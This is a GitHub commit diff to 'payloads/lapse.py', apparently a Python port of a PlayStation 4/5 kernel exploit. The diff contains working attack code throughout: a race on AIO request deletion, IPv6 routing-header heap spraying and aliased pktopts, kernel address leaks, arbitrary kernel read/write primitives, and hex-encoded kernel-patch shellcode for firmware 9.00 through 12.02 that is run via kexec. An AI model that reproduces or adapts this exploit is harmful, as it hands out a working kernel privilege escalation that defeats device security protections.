Skip to content

Commit 798caa1

Browse files
committedNov 13, 2025
✨ feat: lapse!
1 parent 0c9b7e2 commit 798caa1

File tree

1 file changed

+128
-86
lines changed

1 file changed

+128
-86
lines changed
 

‎payloads/lapse.py‎

Lines changed: 128 additions & 86 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,24 @@
1+
"""
2+
Credits:
3+
- Helloyunho: It's me!
4+
- remote_lua_loader: This is basically a port of lapse.lua
5+
- cow: Gave a lot of hint to make this working
6+
- Gezine: Also gave a lot of hint to make this working
7+
- earthonion: For testing with me and giving advice
8+
- Dr. YenYen: For testing with me
9+
- Sajjad: Also for testing with me
10+
"""
11+
112
import struct
13+
import traceback
214
from utils.ref import get_ref_addr
315
from utils.etc import alloc, bytes
416
from utils.unsafe import readuint, readbuf
517
from utils.conversion import u64_to_i64, get_cstring
6-
from utils.rp import log
18+
from utils.rp import log, log_exc
719
from sc import sc
820
from ropchain import ROPChain, Executable
9-
from constants import SYSCALL, SELECTED_LIBC, nogc
21+
from constants import SYSCALL, SELECTED_LIBC, nogc, SELECTED_GADGETS
1022
from offsets import LIBC_OFFSETS
1123

1224

@@ -957,25 +969,35 @@
957969
shellcode_1200 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981ecc02f0041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900eb66898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3"
958970

959971

972+
def fromhex(s):
973+
hex_string = "0123456789abcdef"
974+
return bytes(
975+
[
976+
hex_string.index(s[i].lower()) * 16 + hex_string.index(s[i + 1].lower())
977+
for i in range(0, len(s), 2)
978+
]
979+
)
980+
981+
960982
def get_kernel_patches_shellcode():
961983
if sc.version == "9.00":
962-
return bytes.fromhex(shellcode_900)
984+
return fromhex(shellcode_900)
963985
elif sc.version in ["9.03", "9.04"]:
964-
return bytes.fromhex(shellcode_903)
986+
return fromhex(shellcode_903)
965987
elif sc.version in ["9.50", "9.51", "9.60"]:
966-
return bytes.fromhex(shellcode_950)
988+
return fromhex(shellcode_950)
967989
elif sc.version in ["10.00", "10.01"]:
968-
return bytes.fromhex(shellcode_1000)
990+
return fromhex(shellcode_1000)
969991
elif sc.version in ["10.50", "10.70", "10.71"]:
970-
return bytes.fromhex(shellcode_1050)
992+
return fromhex(shellcode_1050)
971993
elif sc.version == "11.00":
972-
return bytes.fromhex(shellcode_1100)
994+
return fromhex(shellcode_1100)
973995
elif sc.version == "11.02":
974-
return bytes.fromhex(shellcode_1102)
996+
return fromhex(shellcode_1102)
975997
elif sc.version in ["11.50", "11.52"]:
976-
return bytes.fromhex(shellcode_1150)
998+
return fromhex(shellcode_1150)
977999
elif sc.version in ["12.00", "12.02"]:
978-
return bytes.fromhex(shellcode_1200)
1000+
return fromhex(shellcode_1200)
9791001
else:
9801002
return None
9811003

@@ -991,12 +1013,14 @@ def get_kernel_patches_shellcode():
9911013

9921014
SYSCALL["unlink"] = 0xA
9931015
SYSCALL["pipe"] = 42
1016+
SYSCALL["getpid"] = 20
9941017
SYSCALL["getuid"] = 0x18
9951018
SYSCALL["connect"] = 98
9961019
SYSCALL["munmap"] = 0x49
9971020
SYSCALL["mprotect"] = 0x4A
9981021
SYSCALL["getsockopt"] = 0x76
9991022
SYSCALL["socketpair"] = 0x87
1023+
SYSCALL["nanosleep"] = 0xF0
10001024
SYSCALL["sched_yield"] = 0x14B
10011025
SYSCALL["thr_exit"] = 0x1AF
10021026
SYSCALL["thr_self"] = 0x1B0
@@ -1255,7 +1279,9 @@ def prepare_structure(self):
12551279
jmp_buf = alloc(0x60)
12561280

12571281
# skeleton jmp_buf
1258-
jmp_buf[0x0:0x8] = struct.pack("<Q", self.sc.exec_addr + self.sc.gadgets["ret"])
1282+
jmp_buf[0x0:0x8] = struct.pack(
1283+
"<Q", self.sc.exec_addr + SELECTED_GADGETS["ret"]
1284+
)
12591285
jmp_buf[0x10:0x18] = struct.pack("<Q", self.chain.addr)
12601286
jmp_buf[0x40:0x44] = struct.pack("<I", PrimThread.fpu_ctrl_value)
12611287
jmp_buf[0x44:0x48] = struct.pack("<I", PrimThread.mxcsr_value)
@@ -1655,15 +1681,24 @@ def create_pipe():
16551681
return pipe_read_fd, pipe_write_fd
16561682

16571683

1658-
def wait_for(addr, val):
1659-
while True:
1660-
curr = readuint(addr, 8)
1661-
if curr == val:
1662-
break
1684+
def nanosleep(nsec):
1685+
sec = nsec // 1000000000
1686+
nsec = nsec % 1000000000
1687+
req = alloc(16)
1688+
req[0:8] = struct.pack("<Q", sec)
1689+
req[8:16] = struct.pack("<Q", nsec)
1690+
sc.syscalls.nanosleep(req)
1691+
1692+
1693+
def wait_for(addr, val, timeout=30000):
1694+
elapsed = 0
1695+
while readuint(addr, 8) != val and elapsed < timeout:
1696+
nanosleep(1)
1697+
elapsed += 1
16631698

16641699

16651700
def build_rthdr(buf, size):
1666-
len = ((size >> 3) - 1) & 0xFFFFFFFE
1701+
len = ((size >> 3) - 1) & ~1
16671702
size = (len + 1) << 3
16681703

16691704
buf[0:1] = struct.pack("<B", 0) # ip6r_nxt
@@ -1731,11 +1766,12 @@ def hexdump(data):
17311766
log("{:08x} {:<48} {}".format(i, hex_bytes, ascii_bytes))
17321767

17331768

1769+
suspend_exec = Executable(sc, 0xF000 * 4)
1770+
1771+
17341772
def race_one(request_addr, tcp_sd, sds):
17351773
reset_race_state()
17361774

1737-
hexdump(readbuf(id(None), 0x10))
1738-
17391775
sce_errs = alloc(8)
17401776
sce_errs[0:4] = struct.pack("<I", 0xFFFFFFFF)
17411777
sce_errs[4:8] = struct.pack("<I", 0xFFFFFFFF)
@@ -1752,34 +1788,31 @@ def race_one(request_addr, tcp_sd, sds):
17521788
thr = PrimThread(sc, delete_chain)
17531789
thr_tid = thr.run()
17541790
log("spawned worker thread: %s" % hex(thr_tid))
1755-
hexdump(readbuf(id(None), 0x10))
17561791

17571792
# wait for the worker thread to ready
17581793
wait_for(get_ref_addr(ready_signal), 1)
17591794
log("worker thread ready")
17601795

1761-
suspend_chain = Executable(sc, 0xF000 * 4)
1762-
suspend_chain.chain.reset()
1763-
suspend_chain.setup_front_chain()
1796+
suspend_exec.chain.reset()
1797+
suspend_exec.setup_front_chain()
17641798

17651799
# notify worker thread to resume
1766-
suspend_chain.setup_syscall_chain(SYSCALL["write"], pipe_write_fd, pipe_buf, 1)
1800+
suspend_exec.setup_syscall_chain(SYSCALL["write"], pipe_write_fd, pipe_buf, 1)
17671801

17681802
# yield and hope the scheduler runs the worker next.
17691803
# the worker will then sleep at soclose() and hopefully we run next
1770-
suspend_chain.setup_syscall_chain(SYSCALL["sched_yield"])
1804+
suspend_exec.setup_syscall_chain(SYSCALL["sched_yield"])
17711805

17721806
# if we get here and the worker hasn't been reran then we can delay the
17731807
# worker's execution of soclose() indefinitely
1774-
suspend_chain.setup_syscall_chain(SYSCALL["thr_suspend_ucontext"], thr_tid)
1775-
1776-
suspend_chain.setup_post_chain()
1777-
suspend_chain.setup_back_chain()
1808+
suspend_exec.setup_syscall_chain(SYSCALL["thr_suspend_ucontext"], thr_tid)
1809+
suspend_exec.setup_padding_chain()
17781810

1779-
suspend_res = suspend_chain.execute()
1811+
suspend_exec.setup_post_chain()
1812+
suspend_exec.setup_back_chain()
1813+
suspend_res = suspend_exec.execute()
17801814

17811815
log("suspend %s: %d" % (hex(thr_tid), suspend_res))
1782-
hexdump(readbuf(id(None), 0x10))
17831816

17841817
poll_err = alloc(4)
17851818
aio_multi_poll(request_addr, 1, poll_err)
@@ -1809,6 +1842,7 @@ def race_one(request_addr, tcp_sd, sds):
18091842
log("resume %s: %d" % (hex(thr_tid), result))
18101843

18111844
wait_for(get_ref_addr(deletion_signal), 1)
1845+
print("deletion signal received")
18121846

18131847
if won_race:
18141848
err_main_thr = struct.unpack("<I", sce_errs[0:4])[0]
@@ -1985,7 +2019,7 @@ def verify_reqs2(addr, cmd):
19852019
heap_prefixes = []
19862020

19872021
# check if offsets 0x10 to 0x20 look like a kernel heap address
1988-
for i in range(0x10, 0x20, 8):
2022+
for i in range(0x10, 0x20 + 1, 8):
19892023
if readuint(addr + i + 6, 2) != 0xFFFF:
19902024
return False
19912025
prefix = readuint(addr + i + 4, 2)
@@ -2005,7 +2039,7 @@ def verify_reqs2(addr, cmd):
20052039
return False
20062040

20072041
# check if offsets 0x48 to 0x50 look like a kernel address
2008-
for i in range(0x48, 0x50, 8):
2042+
for i in range(0x48, 0x50 + 1, 8):
20092043
if readuint(addr + i + 6, 2) == 0xFFFF:
20102044
# don't push kernel ELF addresses
20112045
if readuint(addr + i + 4, 2) != 0xFFFF:
@@ -2064,7 +2098,7 @@ def leak_kernel_addrs(sd_pair, sds):
20642098

20652099
val = struct.unpack("<I", buf[0:4])[0]
20662100
if val == expected_flag:
2067-
evfs.remove(evf)
2101+
del evfs[idx]
20682102
else:
20692103
evf = None
20702104

@@ -2167,7 +2201,7 @@ def leak_kernel_addrs(sd_pair, sds):
21672201
sd_idx = None
21682202
reqs2_off, fake_reqs3_off = None, None
21692203

2170-
for off in range(0, buflen - 1, 0x80):
2204+
for off in range(0x80, buflen, 0x80):
21712205
if not reqs2_off and verify_reqs2(get_ref_addr(buf) + off, AIO_CMD_WRITE):
21722206
reqs2_off = off
21732207
if not fake_reqs3_off:
@@ -2179,7 +2213,7 @@ def leak_kernel_addrs(sd_pair, sds):
21792213
if reqs2_off and fake_reqs3_off:
21802214
log("found reqs2 and fake reqs3 at attempt: %d" % (i + 1))
21812215
fake_reqs3_sd = sds[sd_idx]
2182-
sds.remove(fake_reqs3_sd)
2216+
del sds[sd_idx]
21832217
free_rthdrs(sds)
21842218
sds.append(new_socket())
21852219
break
@@ -2194,8 +2228,8 @@ def leak_kernel_addrs(sd_pair, sds):
21942228

21952229
get_rthdr(sd, buf, buflen)
21962230

2197-
# TODO: write hex dump function for easier debugging
2198-
# log('leaked aio_entry:')
2231+
log("leaked aio_entry:")
2232+
hexdump(buf[reqs2_off : reqs2_off + 0x80])
21992233

22002234
# store for curproc leak later
22012235
aio_info_addr = struct.unpack("<Q", buf[reqs2_off + 0x18 : reqs2_off + 0x20])[0]
@@ -2261,26 +2295,27 @@ def make_aliased_pktopts(sds):
22612295
ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, get_ref_addr(tclass), 4)
22622296

22632297
for i in range(len(sds)):
2264-
if sds[i] != 0xFFFFFFFFFFFFFFFF:
2265-
gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, get_ref_addr(tclass), 4)
2266-
marker = struct.unpack("<I", tclass[0:4])[0]
2267-
if marker != i:
2268-
sd_pair = (sds[i], sds[marker])
2269-
log(
2270-
"aliased pktopts at attempt: %d (found pair: %d %d)"
2271-
% (loop, sd_pair[0], sd_pair[1])
2298+
gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, get_ref_addr(tclass), 4)
2299+
marker = struct.unpack("<I", tclass[0:4])[0]
2300+
if marker != i:
2301+
sd_pair = (sds[i], sds[marker])
2302+
log(
2303+
"aliased pktopts at attempt: %d (found pair: %d %d)"
2304+
% (loop, sd_pair[0], sd_pair[1])
2305+
)
2306+
min_idx = min(marker, i)
2307+
max_idx = max(marker, i)
2308+
del sds[max_idx]
2309+
del sds[min_idx]
2310+
free_rthdrs(sds)
2311+
for _ in range(2):
2312+
sock_fd = new_socket()
2313+
ssockopt(
2314+
sock_fd, IPPROTO_IPV6, IPV6_TCLASS, get_ref_addr(tclass), 4
22722315
)
2273-
sds.remove(marker)
2274-
sds.remove(i)
2275-
free_rthdrs(sds)
2276-
for _ in range(2):
2277-
sock_fd = new_socket()
2278-
ssockopt(
2279-
sock_fd, IPPROTO_IPV6, IPV6_TCLASS, get_ref_addr(tclass), 4
2280-
)
2281-
sds.append(sock_fd)
2282-
2283-
return sd_pair
2316+
sds.append(sock_fd)
2317+
2318+
return sd_pair
22842319

22852320
for sd in sds:
22862321
ssockopt(sd, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0)
@@ -2358,15 +2393,17 @@ def overwrite_aio_entry_with_rthdr():
23582393

23592394
if req_idx != -1:
23602395
log(
2361-
"states[%d] = %s",
2362-
req_idx,
2363-
hex(
2364-
struct.unpack("<I", states[req_idx * 4 : req_idx * 4 + 4])[
2365-
0
2366-
]
2396+
"states[%d] = %s"
2397+
% (
2398+
req_idx,
2399+
hex(
2400+
struct.unpack(
2401+
"<I", states[req_idx * 4 : req_idx * 4 + 4]
2402+
)[0]
2403+
),
23672404
),
23682405
)
2369-
log("found req_id at batch: %d", batch)
2406+
log("found req_id at batch: %d" % batch)
23702407
log("aliased at attempt: %d" % (i + 1))
23712408

23722409
aio_idx = batch * num_elems + req_idx
@@ -2399,7 +2436,7 @@ def overwrite_aio_entry_with_rthdr():
23992436

24002437
# enable deletion of target_id
24012438
aio_multi_poll(get_ref_addr(target_id_p), 1, states)
2402-
log("target's state: %s", hex(struct.unpack("<I", states[0:4])[0]))
2439+
log("target's state: %s" % hex(struct.unpack("<I", states[0:4])[0]))
24032440

24042441
sce_errs = alloc(8)
24052442
sce_errs[0:4] = struct.pack("<I", 0xFFFFFFFF)
@@ -2431,7 +2468,7 @@ def overwrite_aio_entry_with_rthdr():
24312468
states[0:4] = struct.pack("<I", 0xFFFFFFFF)
24322469
states[4:8] = struct.pack("<I", 0xFFFFFFFF)
24332470

2434-
aio_multi_poll(get_ref_addr(target_id_p), 2, states)
2471+
aio_multi_poll(get_ref_addr(target_ids), 2, states)
24352472
log(
24362473
"target states: %s %s"
24372474
% (
@@ -2621,7 +2658,7 @@ def read_buffer(self, kaddr, len):
26212658
mem = alloc(len)
26222659

26232660
self.copyout(kaddr, get_ref_addr(mem), len)
2624-
return readbuf(mem, len)
2661+
return mem[:len]
26252662

26262663
def write_buffer(self, kaddr, buf):
26272664
self.copyin(get_ref_addr(buf), kaddr, len(buf))
@@ -2664,14 +2701,14 @@ def read_qword(self, kaddr):
26642701
return struct.unpack("<Q", value)[0]
26652702

26662703
def read_null_terminated_string(self, kaddr):
2667-
result = b""
2704+
result = bytearray()
26682705
while True:
26692706
char = self.read_buffer(kaddr, 1)
2670-
if char == b"\0":
2707+
if char == 0 or char == b"\0":
26712708
break
26722709
result += char
26732710
kaddr += 1
2674-
return result
2711+
return str(result)
26752712

26762713
def write_byte(self, kaddr, value):
26772714
buf = struct.pack("<B", value)
@@ -3267,11 +3304,11 @@ def make_kernel_arw(pktopts_sds, k100_addr, kernel_addr, sds, sds_alt, aio_info_
32673304

32683305
pktopts_size = 0x100
32693306
pktopts = alloc(pktopts_size)
3270-
rsize = build_rthdr(get_ref_addr(pktopts), pktopts_size)
3271-
pktinfo_p = k100_addr + 0x100
3307+
rsize = build_rthdr(pktopts, pktopts_size)
3308+
pktinfo_p = k100_addr + 0x10
32723309

32733310
# pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo
3274-
pktopts[off_tclass + 0x10 : off_tclass + 0x18] = struct.pack("<Q", pktinfo_p)
3311+
pktopts[0x10:0x18] = struct.pack("<Q", pktinfo_p)
32753312

32763313
log("overwrite main pktopts")
32773314
reclaim_sock = None
@@ -3292,7 +3329,7 @@ def make_kernel_arw(pktopts_sds, k100_addr, kernel_addr, sds, sds_alt, aio_info_
32923329
log("found reclaim sd at attempt: %d" % (i + 1))
32933330
idx = marker >> 16
32943331
reclaim_sock = sds_alt[idx]
3295-
sds_alt.remove(reclaim_sock)
3332+
del sds_alt[idx]
32963333
break
32973334

32983335
if reclaim_sock is None:
@@ -3310,7 +3347,7 @@ def slow_kread8(addr):
33103347

33113348
while offset < len:
33123349
# pktopts.ip6po_nhinfo = addr + offset
3313-
pktinfo[0x8 : 0x8 + 8] = struct.pack("<Q", addr + offset)
3350+
pktinfo[0x8:0x10] = struct.pack("<Q", addr + offset)
33143351

33153352
ssockopt(
33163353
master_sock,
@@ -3335,7 +3372,7 @@ def slow_kread8(addr):
33353372

33363373
return struct.unpack("<Q", read_buf[0:8])[0]
33373374

3338-
log('slow_kread8(&"evf cf"): %s' % hex(slow_kread8(kernel_addr)))
3375+
log('slow_kread8(&"evf cv"): %s' % hex(slow_kread8(kernel_addr)))
33393376
kstr = get_cstring(read_buf)
33403377
log('*(&"evf cv"): %s' % kstr)
33413378

@@ -3368,10 +3405,12 @@ def slow_kread8(addr):
33683405
)
33693406
kernel.inside_kdata_addr = kernel_addr
33703407

3408+
log("curproc_fd = %s" % hex(kernel.curproc_fd_addr))
3409+
log("curproc_ofiles = %s" % hex(kernel.curproc_ofiles_addr))
3410+
33713411
def get_fd_data_addr(sock, kread8_fn):
33723412
filedescent_addr = (
3373-
kernel.curproc_ofiles_addr
3374-
+ sock * SELECTED_KERNEL_OFFSETS["FILEDESC_OFILES"]
3413+
kernel.curproc_ofiles_addr + sock * SELECTED_KERNEL_OFFSETS["SIZEOF_OFILES"]
33753414
)
33763415
file_addr = kread8_fn(filedescent_addr) # fde_file
33773416
return kread8_fn(file_addr) # f_data
@@ -3420,7 +3459,7 @@ def kwrite20(addr, buf):
34203459
worker_sock,
34213460
IPPROTO_IPV6,
34223461
IPV6_PKTINFO,
3423-
get_ref_addr(worker_pktinfo),
3462+
get_ref_addr(buf),
34243463
pktinfo_len,
34253464
)
34263465

@@ -3451,6 +3490,7 @@ def restricted_kwrite8(addr, val):
34513490
kernel.write_buffer = ipv6_kernel_rw.write_buffer
34523491

34533492
kstr = kernel.read_null_terminated_string(kernel_addr)
3493+
log('*(&"evf cv"): %s' % kstr)
34543494
if kstr != "evf cv":
34553495
raise Exception('test read of &"evf cv" failed')
34563496

@@ -3462,7 +3502,7 @@ def restricted_kwrite8(addr, val):
34623502
off_ip6po_rthdr = 0x68 if sc.platform == "ps4" else 0x70
34633503

34643504
for sd in sds:
3465-
sock_pktopts = get_sock_pktopts(sd, kread8)
3505+
sock_pktopts = get_sock_pktopts(sd, kernel.read_qword)
34663506
kernel.write_qword(sock_pktopts + off_ip6po_rthdr, 0)
34673507

34683508
reclaimer_pktopts = get_sock_pktopts(reclaim_sock, kernel.read_qword)
@@ -3558,7 +3598,7 @@ def apply_kernel_patches_ps4():
35583598
mapping_addr = 0x920100000
35593599

35603600
sysent_661_addr = (
3561-
kernel.data_base + SELECTED_KERNEL_VERSION_OFFSETS["SYSCALL_661_OFFSET"]
3601+
kernel.data_base + SELECTED_KERNEL_VERSION_OFFSETS["SYSENT_661_OFFSET"]
35623602
)
35633603
sy_narg = kernel.read_dword(sysent_661_addr)
35643604
sy_call = kernel.read_qword(sysent_661_addr + 8)
@@ -3588,7 +3628,7 @@ def apply_kernel_patches_ps4():
35883628
0,
35893629
)
35903630
sc.mem[mapping_addr - 0x1000 : mapping_addr - 0x1000 + len(bin_data)] = bin_data
3591-
log("First bytes: 0x%x", readuint(mapping_addr, 4))
3631+
log("First bytes: 0x%x" % readuint(mapping_addr, 4))
35923632

35933633
sc.syscalls.kexec(mapping_addr)
35943634

@@ -3852,7 +3892,7 @@ def kexploit():
38523892

38533893
log("[+] Get arbitrary kernel read/write")
38543894
make_kernel_arw(
3855-
pktopts_sds, kbuf_addr, kernel_addr, sds, sds_alt, aio_info_addr
3895+
pktopts_sds, reqs1_addr, kernel_addr, sds, sds_alt, aio_info_addr
38563896
)
38573897

38583898
log("[+] Post exploitation")
@@ -3863,8 +3903,10 @@ def kexploit():
38633903
post_exploitation_ps5()
38643904

38653905
log("done!")
3866-
except Exception as e:
3867-
log("[-] Exploit failed: %s" % str(e))
3906+
except:
3907+
log("[-] Exploit failed")
3908+
exc_msg = traceback.format_exc()
3909+
log_exc(exc_msg)
38683910
finally:
38693911
sc.syscalls.close(block_fd)
38703912
sc.syscalls.close(unblock_fd)

0 commit comments

Comments
 (0)
Please sign in to comment.